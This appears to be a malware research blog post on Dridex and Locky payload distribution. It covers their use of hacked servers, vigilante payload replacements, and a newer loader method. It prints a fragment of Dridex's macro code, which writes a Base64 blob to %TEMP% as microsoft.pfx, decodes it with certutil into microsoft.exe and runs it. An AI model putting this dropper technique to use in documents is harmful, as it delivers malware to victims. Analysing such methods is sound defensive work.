Dridex Updates Payload Distribution
Antivirus and Firewall vendors maintain a list of malicious URLs and IP addresses in order to block new malware infections or updates from current ones. It only takes a few hours for most vendors to add new endpoints to their block-list, so in order to maintain effective propagation malware distributors must constantly cycle out old servers for clean ones (which can be expensive and time consuming). To combat endpoint blocking, campaigns like Dridex and Locky do not use their own infrastructure for initial payload distribution; instead they purchase hacked servers which they use to host payloads for very short periods (as little as a few days), then once the server become blacklisted they ditch them for newly compromised ones. Although using compromised servers is a very easy and cheap way to ensure payloads are always distributed from clean IPs, it does have its downsides which the team behind Dridex and Locky have been learning these past few months.
You’ve probably been seeing a lot of headlines like “Locky C&C hacked’, “Dridex Botnet Compromised”; these are pretty eye-catching but they’re not entirely true. As you can probably guess, the problem with using hacked servers is you wouldn’t be the only one with access, the owner obviously has access and so does anyone else who can find how the server was compromised. What has been happening a lot lately is that the payloads on the hacked servers have been getting replaces with anything from text consisting of strings like “DRIDEX IS AN ATTENTION WHORE” or “STUPID LOCKY” to antivirus installers and warnings not to enable Office macros. It’s not been confirmed whether it actually is a vigilante hacking the hacked servers as reported, though in the case of the payload being replace with an Avira installer, it’s most likely that a researcher simply contacted the server owner and asked them to replace the executable.
What’s important to note is the initial payload servers are separate from the C&C infrastructure, so the person behind this is not able to disinfect any already infected machines or access stolen data; however, they can prevent new infections until the offending servers are removed in the next wave of spam. The payload replacement is nothing more than a small financial loss to the developers behind both of the malware families, but apparently it was enough of a nuisance that they updated the distribution methods to combat this.
New Loader Distribution
FileObject = CreateObject(“Scripting.FileSystemObject”)
target = Environ(“TEMP”) & “microsoft.pfx”
file = FileObject.CreateTextFile(target, True)
file.Close Shell(“cmd /c certutil -decode %TMP%microsoft.pfx %TMP%microsoft.exe & start %TMP%microsoft.exe”)
What this does is dumps the Base64 encoded string to a file named “microsoft.pfx” (pfx files are used to store PKCS#12 certificates), then it uses “certutil” to Base64 decode it, like you’d do with a regular certificate, into a file named microsoft.exe where it can be run. Using this new method they still keep the VBA script short and easily obfuscated whilst putting a stop to those pesky payload replacements; though it does have the drawback of removing their ability to re-crpyt the loader between the email being sent and opened.
It’s not certain yet whether they will continue using this method or if it’s just a trial run to test infection rate but if they do opt to keep it, it’s likely Locky will follow as it appears to be, at least in part, managed by the same group.